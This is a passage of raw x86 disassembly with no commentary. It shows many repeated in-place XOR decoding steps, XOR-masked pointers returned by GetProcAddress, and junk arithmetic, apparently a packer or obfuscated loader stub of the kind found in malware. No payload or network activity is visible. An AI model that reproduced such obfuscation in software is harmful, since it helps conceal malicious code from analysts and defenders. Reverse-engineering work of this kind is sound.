xor eax, dword [0x10105abc]
mov dword [0x10103e60], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3ae4]
add eax, 0x27748
xor eax, dword [ecx]
xor eax, edi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x18697]
add eax, 0x20174
xor eax, dword [ecx]
xor eax, 0xdccecdb8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3d24]
add eax, 0x27748
xor eax, dword [ecx]
xor eax, edi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1caf2]
add eax, 0x1ca6d
xor eax, dword [ecx]
xor eax, 0xdccd06a1
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4970]
add eax, 0xa3990
xor eax, dword [ecx]
xor eax, 0xdcc6f55c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x6d1bf376]
mov dword [0x10106ae8], ecx
lea ecx, [eax + 0xde06]
add eax, 0x24e78
xor eax, dword [ecx]
xor eax, 0xdcce82b4
mov dword [ecx], eax
mov eax, dword [0x10105abc]
add dword [0x1010536c], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x29110]
add eax, 0x33474
xor eax, dword [ecx]
xor eax, 0xdccff8b8
mov dword [ecx], eax
mov eax, dword [0x101062e4]
sub eax, dword [0x10103e60]
mov dword [0x1010536c], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32afc]
add eax, 0x1e917
xor eax, dword [ecx]
xor eax, 0xdccd25db
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x25ee4]
add eax, 0x51a0
xor eax, dword [ecx]
xor eax, 0xdccc9d6c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33618]
add eax, 0x338a4
xor eax, dword [ecx]
xor eax, 0xdccff468
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36224]
add eax, 0x2366c
xor eax, dword [ecx]
mov dword [esp + 0x10], 0x2c4
xor eax, 0xdccefaa0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1012]
add eax, 0x202e0
xor eax, dword [ecx]
xor eax, 0xdccece2c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa446c]
add eax, 0x88018
xor eax, dword [ecx]
xor eax, 0xdcc44cd4
mov dword [ecx], eax
push dword [0x10107300]
push dword [0x101062e0]
push dword [0x10105368]
push section..data
call fcn.1001555e
mov eax, dword [0x101062e0]
or eax, 0xcbdef403
dec dword [esp + 0x10]
mov dword [0x10105368], eax
jne 0x1003754e
mov eax, dword [0x10107300]
lea ecx, [eax + 0xde0d]
add eax, 0x24e9c
xor eax, dword [ecx]
push 0x10107e2f
xor eax, 0xdcce8250
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x25ed8]
add eax, 0x3322c
xor eax, dword [ecx]
push dword [esp + 0x34]
xor eax, 0xdccffee0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1cf0c]
add eax, 0x1cf3c
xor eax, dword [ecx]
xor eax, 0xdccd03f0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33480]
add eax, 0xa4a10
xor eax, dword [ecx]
xor eax, 0xdcc686dc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x11263]
add eax, 0x27d78
xor eax, dword [ecx]
xor eax, 0xdcceb1b4
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x20020
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf9fb0
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0xb22f]
add eax, 0x200d0
xor eax, dword [ecx]
xor eax, 0xdccecc1c
mov dword [ecx], eax
mov eax, dword [0x10105abc]
xor eax, 0xfce37b25
mov dword [esp + 0x18], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa44d0]
add eax, 0x26464
xor eax, dword [ecx]
xor eax, 0xdccea8a8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x341c4]
add eax, 0x1f6d0
xor eax, dword [ecx]
xor eax, 0xdccd3a1c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x34230]
add eax, 0x1f760
xor eax, dword [ecx]
xor eax, 0xdccd3bac
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, dword [esp + 0x14]
sub ecx, eax
mov dword [0x10105368], ecx
lea ecx, [eax + 0x1d230]
add eax, 0x24a34
xor eax, dword [ecx]
xor eax, 0xdcce86f8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x18b6f]
add eax, 0x2018c
xor eax, dword [ecx]
xor eax, 0xdccecd40
mov dword [ecx], eax
or dword [0x10103e60], 0xe254bde5
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3712c]
add eax, 0x2c510
xor eax, dword [ecx]
mov dword [esp + 0x10], 0x393
xor eax, 0xdcce09dc
mov dword [ecx], eax
mov eax, dword [0x10106ae8]
mov ecx, dword [0x10105ab8]
add ecx, eax
mov eax, dword [0x10107300]
mov dword [0x101062e0], ecx
lea ecx, [eax + 0x33308]
add eax, 0x36fe8
xor eax, dword [ecx]
xor eax, 0xdccfa324
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x17c3a]
add eax, 0x231e4
xor eax, dword [ecx]
xor eax, 0xdccefd28
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36008]
add eax, 0x231d8
xor eax, dword [ecx]
xor eax, ebx
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa123]
add eax, 0x20204
xor eax, dword [ecx]
xor eax, 0xdccecec8
mov dword [ecx], eax
mov eax, dword [0x10107300]
xor eax, dword [esp + 0x14]
mov dword [0x10105368], eax
push dword [0x10107300]
push dword [0x10105ab8]
push dword [0x101062e0]
push section..data
call fcn.1001555e
dec dword [esp + 0x10]
mov eax, dword [esp + 0x18]
mov dword [0x10105abc], eax
jne 0x10037785
mov eax, dword [0x10107300]
lea ecx, [eax + 0x362ac]
add eax, 0x23288
mov dword [0x10106ae8], 0x393
xor eax, dword [ecx]
push 0x1010790a
xor eax, 0xdccefe44
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x187f7]
add eax, 0x36a60
xor eax, dword [ecx]
push ebp
xor eax, 0xdccfa6ac
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x20188
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
mov dword [esp + 0x10], 0xfe
xor ecx, 0xcccf9a0c
mov dword [eax], ecx
push dword [0x10107300]
push dword [0x10103e64]
push dword [0x10105ab8]
push section..data
call fcn.1001555e
dec dword [esp + 0x10]
jne 0x1003781d
mov eax, dword [0x10107300]
lea ecx, [eax + 0x19837]
add eax, 0x201e4
xor eax, dword [ecx]
xor eax, 0xdccecd28
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1c210]
add eax, 0x200f0
xor eax, dword [ecx]
xor eax, 0xdccecc3c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1ae21]
add eax, 0xa8fb8
xor eax, dword [ecx]
xor eax, 0xdcc64374
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xb559]
add eax, 0xa5a10
xor eax, dword [ecx]
xor eax, 0xdcc696dc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3f94]
add eax, 0x273c0
xor eax, dword [ecx]
xor eax, 0xdccebf0c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x328a0]
add eax, 0x126e0
xor eax, dword [ecx]
xor eax, 0xdccdea2c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36b68]
add eax, 0x36b64
xor eax, dword [ecx]
xor eax, 0xdccfa7a8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x192bb]
add eax, 0x20114
xor eax, dword [ecx]
xor eax, 0xdccecdd8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1c25d]
add eax, 0xa5568
xor eax, dword [ecx]
xor eax, 0xdcc699a4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33a84]
add eax, 0x33a90
xor eax, dword [ecx]
xor eax, 0xdccff65c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x15998]
add eax, 0x14c4f
xor eax, dword [ecx]
xor eax, 0xdccd8083
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x341d4]
add eax, 0x1f6e6
xor eax, dword [ecx]
xor eax, 0xdccd3a2a
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x112ac]
add eax, 0x200f8
xor eax, dword [ecx]
xor eax, 0xdccecc34
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x20348
mov dword [esp + 0x10], eax
push 9
push dword [esp + 0x38]
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
push 0x10107c05
push dword [esp + 0x28]
xor ecx, 0x4cccccc5
mov dword [eax], ecx
mov eax, dword [0x10107300]
add eax, 0x20290
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
push 0x101077ca
xor ecx, 0xcccf9d32
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x19d79]
add eax, 0x201c8
xor eax, dword [ecx]
push ebp
xor eax, 0xdccecd04
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x20138
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf82b2
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0xf786]
add eax, 0xf600
xor eax, dword [ecx]
xor eax, 0xdccc3acc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x69df]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1f85b]
add eax, 0x3433c
xor eax, dword [ecx]
xor eax, 0xdccf8ff0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1c9bd]
add eax, 0x19fa0
xor eax, dword [ecx]
xor eax, 0xdccd536c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4ad8]
add eax, 0x231d8
xor eax, dword [ecx]
xor eax, ebx
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1bc0e]
add eax, 0x36860
xor eax, dword [ecx]
xor eax, 0xdccfa4ac
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x99a4]
add eax, 0x27ddc
xor eax, dword [ecx]
xor eax, 0xdcceb110
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
or ecx, 0xefc55174
mov dword [0x10103e60], ecx
lea ecx, [eax + 0x1bfdc]
add eax, 0xa5558
xor eax, dword [ecx]
push 0x10107850
xor eax, 0xdcc69994
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33a5c]
add eax, 0x33a28
xor eax, dword [ecx]
push ebp
xor eax, 0xdccff6e4
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x2015c
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
push 0x101077d7
xor ecx, 0xcccf83d0
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1928b]
add eax, 0x20114
xor eax, dword [ecx]
push ebp
xor eax, 0xdccecdd8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa470c]
add eax, 0x93d40
xor eax, dword [ecx]
xor eax, 0xdcc5f18c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa18e]
add eax, 0xa5a0c
xor eax, dword [ecx]
xor eax, 0xdcc696c0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x554c]
add eax, 0x25ea4
xor eax, dword [ecx]
xor eax, 0xdcce9268
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x2013c
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf8242
mov dword [eax], ecx
mov eax, dword [0x10107300]
mov ecx, dword [0x10105368]
add ecx, eax
mov dword [0x101062e0], ecx
lea ecx, [eax + 0xb7ca]
add eax, 0xa5a20
xor eax, dword [ecx]
xor eax, 0xdcc696ec
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x10a4]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1cb38]
add eax, 0x20050
xor eax, dword [ecx]
xor eax, 0xdccecc9c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa40b0]
add eax, 0x26bfc
xor eax, dword [ecx]
mov dword [esp + 0x10], 0x27c
xor eax, 0xdccea730
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x254b0]
add eax, 0x3620
xor eax, dword [ecx]
xor eax, 0xdcccfaec
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x34318]
add eax, 0x1f804
xor eax, dword [ecx]
xor eax, 0xdccd34c8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x28fe8]
add eax, 0x42b0
xor eax, dword [ecx]
xor eax, 0xdccc8e7c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3306c]
add eax, 0x32ea8
xor eax, dword [ecx]
xor eax, 0xdccfe264
mov dword [ecx], eax
mov eax, dword [0x10107300]
sub dword [0x10105ab8], eax
lea ecx, [eax + 0xa47d4]
add eax, 0x27874
xor eax, dword [ecx]
xor eax, 0xdcceb4b8
mov dword [ecx], eax
push dword [0x10107300]
mov eax, dword [0x10105ab8]
push eax
push eax
push section..data
call fcn.1001555e
dec dword [esp + 0x10]
jne 0x10037cb4
mov eax, dword [0x10107300]
lea ecx, [eax + 0x11428]
add eax, 0x27c98
xor eax, dword [ecx]
xor eax, 0xdcceb054
mov dword [ecx], eax
mov eax, dword [0x10103e60]
add eax, 0x66a6fe45
mov dword [0x10105abc], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x329c0]
add eax, 0x130f0
xor eax, dword [ecx]
xor eax, 0xdccdfc3c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xe657]
add eax, 0x25388
xor eax, dword [ecx]
xor eax, 0xdcce9f44
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x13ddf]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x19e9]
add eax, 0x24db8
xor eax, dword [ecx]
xor eax, 0xdcce8174
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1ce31]
add eax, 0x1cf00
xor eax, dword [ecx]
xor eax, 0xdccd03cc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xcce9]
add eax, 0x25a98
xor eax, dword [ecx]
xor eax, 0xdcce9654
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33de0]
add eax, 0x1cb58
xor eax, dword [ecx]
xor eax, 0xdccd0794
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xfe1b]
add eax, 0x322c8
xor eax, dword [ecx]
xor eax, 0xdccfee04
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xc8a9]
add eax, 0x28bdc
xor eax, dword [ecx]
xor eax, 0xdcce4710
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x11363]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xaaf5]
add eax, 0xa5a3c
xor eax, dword [ecx]
xor eax, 0xdcc696f0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4b88]
add eax, 0x231d8
xor eax, dword [ecx]
xor eax, ebx
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x14c0]
add eax, 0x149e
xor eax, dword [ecx]
push 0x10107ce9
xor eax, 0xdcccd852
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x181e3]
push dword [esp + 0x28]
add eax, 0x33bc0
xor eax, dword [ecx]
xor eax, 0xdccff70c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3339c]
add eax, 0x330d8
xor eax, dword [ecx]
xor eax, 0xdccffc14
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x202d0
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
mov dword [esp + 0x10], 0x74
xor ecx, 0xcccf9ce2
mov dword [eax], ecx
push dword [0x10107300]
mov eax, dword [0x10105368]
push eax
push eax
push section..data
call fcn.1001555e
dec dword [esp + 0x10]
jne 0x10037e9b
mov eax, dword [0x10107300]
lea ecx, [eax + 0x111cb]
add eax, 0x20078
xor eax, dword [ecx]
push 0x101077eb
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xff3e]
add eax, 0x20154
xor eax, dword [ecx]
push ebp
xor eax, 0xdccecd98
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x20140
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
mov edx, 0xdccece88
xor ecx, 0xcccf8268
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33f6c]
add eax, 0x7f33
xor eax, dword [ecx]
xor eax, 0xdcccb3ff
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x4b1b]
add eax, 0x202bc
xor eax, dword [ecx]
xor eax, 0xdccece70
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1415b]
add eax, 0xa5acc
xor eax, dword [ecx]
xor eax, 0xdcc69600
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1804a]
add eax, 0x36070
xor eax, dword [ecx]
xor eax, 0xdccfacbc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1828a]
add eax, 0x36538
xor eax, dword [ecx]
xor eax, 0xdccfa9f4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1adc1]
add eax, 0xa8fc0
xor eax, dword [ecx]
xor eax, 0xdcc6430c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1a4de]
add eax, 0x36320
xor eax, dword [ecx]
xor eax, 0xdccfafec
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1246c]
add eax, 0x20244
xor eax, dword [ecx]
xor eax, edx
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x25eac]
add eax, 0x51a0
xor eax, dword [ecx]
xor eax, 0xdccc9d6c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4578]
add eax, 0x2637c
xor eax, dword [ecx]
xor eax, 0xdcceafb0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x8470]
add eax, 0x27b9c
xor eax, dword [ecx]
xor eax, 0xdcceb750
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x18069]
add eax, 0x33b98
xor eax, dword [ecx]
xor eax, 0xdccff754
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x24ec8]
add eax, 0x16f4b
xor eax, dword [ecx]
xor eax, 0xdccda387
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x2400c]
add eax, 0x23eb8
xor eax, dword [ecx]
xor eax, 0xdccef274
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1e531]
add eax, 0xa8f34
xor eax, dword [ecx]
xor eax, 0xdcc643f8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3a50]
add eax, 0x27794
xor eax, dword [ecx]
xor eax, 0xdccebb58
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32d1c]
add eax, 0x36d60
xor eax, dword [ecx]
xor eax, 0xdccfa1ac
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3ca8]
add eax, 0x27338
xor eax, dword [ecx]
xor eax, 0xdccebff4
mov dword [ecx], eax
mov eax, dword [0x10105ab8]
mov ecx, dword [0x10103e64]
add ecx, eax
mov eax, dword [0x10107300]
mov dword [esp + 0x14], ecx
lea ecx, [eax + 0x32f10]
add eax, 0x32fa8
xor eax, dword [ecx]
xor eax, 0xdccfe364
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa982]
add eax, 0xa5a18
xor eax, dword [ecx]
xor eax, 0xdcc696d4
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov dword [0x101062e0], eax
lea ecx, [eax + 0x59c7]
add eax, 0x14d0
xor eax, dword [ecx]
xor eax, 0xdcccd81c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x9fcd]
add eax, 0xa5a04
xor eax, dword [ecx]
xor eax, 0xdcc696c8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33638]
add eax, 0x336d8
xor eax, dword [ecx]
xor eax, 0xdccffa14
mov dword [ecx], eax
mov eax, dword [0x101062e0]
xor eax, dword [esp + 0x14]
mov dword [0x10105ab8], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x12394]
add eax, 0x202c4
xor eax, dword [ecx]
xor eax, 0xdccece08
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
imul ecx, ecx, 0x18505602
mov dword [0x10103e60], ecx
lea ecx, [eax + 0x11e25]
add eax, 0x324b8
xor eax, dword [ecx]
xor eax, 0xdccfe874
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1c898]
add eax, 0xa51e4
xor eax, dword [ecx]
xor eax, 0xdcc69d28
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xaad6]
add eax, 0xa5a38
xor eax, dword [ecx]
xor eax, 0xdcc696f4
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, dword [0x10106ae8]
sub ecx, eax
mov dword [0x10103e64], ecx
lea ecx, [eax + 0xa4514]
add eax, 0x8c6e0
xor eax, dword [ecx]
xor eax, 0xdcc40a2c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa677]
add eax, 0x20118
xor eax, dword [ecx]
xor eax, 0xdccecdd4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x37124]
add eax, 0x2d138
xor eax, dword [ecx]
xor eax, 0xdcce1df4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32d0c]
add eax, 0x32ca4
xor eax, dword [ecx]
xor eax, 0xdccfe068
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x163df]
add eax, 0x20f08
xor eax, dword [ecx]
xor eax, 0xdccec3c4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x14087]
add eax, 0xa5a54
xor eax, dword [ecx]
xor eax, 0xdcc69698
mov dword [ecx], eax
mov eax, dword [0x10107300]
and dword [0x10103e60], eax
lea ecx, [eax + 0x1b97e]
add eax, 0x2005c
xor eax, dword [ecx]
xor eax, 0xdccecc90
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xf711]
add eax, 0x2908c
xor eax, dword [ecx]
xor eax, 0xdcce5c40
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xb93e]
add eax, 0xa5a30
xor eax, dword [ecx]
xor eax, 0xdcc696fc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x11767]
add eax, 0x2900c
xor eax, dword [ecx]
xor eax, 0xdcce5cc0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa48d8]
add eax, 0x26708
xor eax, dword [ecx]
xor eax, 0xdcceabc4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x19419]
add eax, 0xa90f4
xor eax, dword [ecx]
xor eax, 0xdcc65c38
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x16170]
add eax, 0x36000
xor eax, dword [ecx]
xor eax, 0xdccfaccc
mov dword [ecx], eax
mov eax, dword [0x10107300]
add dword [0x10105ab8], eax
lea ecx, [eax + 0x1b4d3]
add eax, 0x36448
xor eax, dword [ecx]
xor eax, 0xdccfa884
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x5c74]
add eax, 0x202c0
xor eax, dword [ecx]
xor eax, 0xdccece0c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xbb69]
add eax, 0x1000
xor eax, dword [ecx]
xor eax, 0xdcccdccc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x803a]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1b84e]
add eax, 0x36538
xor eax, dword [ecx]
xor eax, 0xdccfa9f4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x23ffc]
add eax, 0x23ec4
xor eax, dword [ecx]
xor eax, 0xdccef208
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xb263]
add eax, 0x20270
xor eax, dword [ecx]
xor eax, 0xdccecebc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xfc44]
add eax, 0x37078
xor eax, dword [ecx]
xor eax, 0xdccfbcb4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1cabc]
add eax, 0x33da8
xor eax, dword [ecx]
xor eax, 0xdccff164
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3a80]
add eax, 0x27728
xor eax, dword [ecx]
xor eax, 0xdccebbe4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xf18e]
add eax, 0x27c94
xor eax, dword [ecx]
xor eax, 0xdcceb058
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x13130]
add eax, 0x32a34
xor eax, dword [ecx]
xor eax, 0xdccfe6f8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1b5b]
add eax, 0x2021c
xor eax, dword [ecx]
xor eax, 0xdcceced0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax - 0x2d3a3c1f]
mov dword [0x10105368], ecx
lea ecx, [eax + 0x240ac]
add eax, 0x23c88
xor eax, dword [ecx]
xor eax, 0xdccef044
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1122b]
add eax, 0x27d6c
xor eax, dword [ecx]
xor eax, 0xdcceb1a0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xb1dd]
add eax, 0xa5a14
xor eax, dword [ecx]
xor eax, 0xdcc696d8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa476c]
add eax, 0x981e8
xor eax, dword [ecx]
xor eax, 0xdcc54d24
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x115a]
add eax, 0x24ae0
xor eax, dword [ecx]
xor eax, 0xdcce862c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xfe32]
add eax, 0x322d4
xor eax, dword [ecx]
xor eax, 0xdccfee18
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
and ecx, dword [0x101062e4]
mov dword [0x10103e60], ecx
lea ecx, [eax + 0xcd69]
add eax, 0x28e10
xor eax, dword [ecx]
xor eax, 0xdcce42dc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32cb0]
add eax, 0x32cb4
xor eax, dword [ecx]
xor eax, 0xdccfe078
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x12b08]
add eax, 0x20244
xor eax, dword [ecx]
xor eax, edx
mov dword [ecx], eax
mov eax, dword [0x10103e64]
xor eax, dword [0x101062e0]
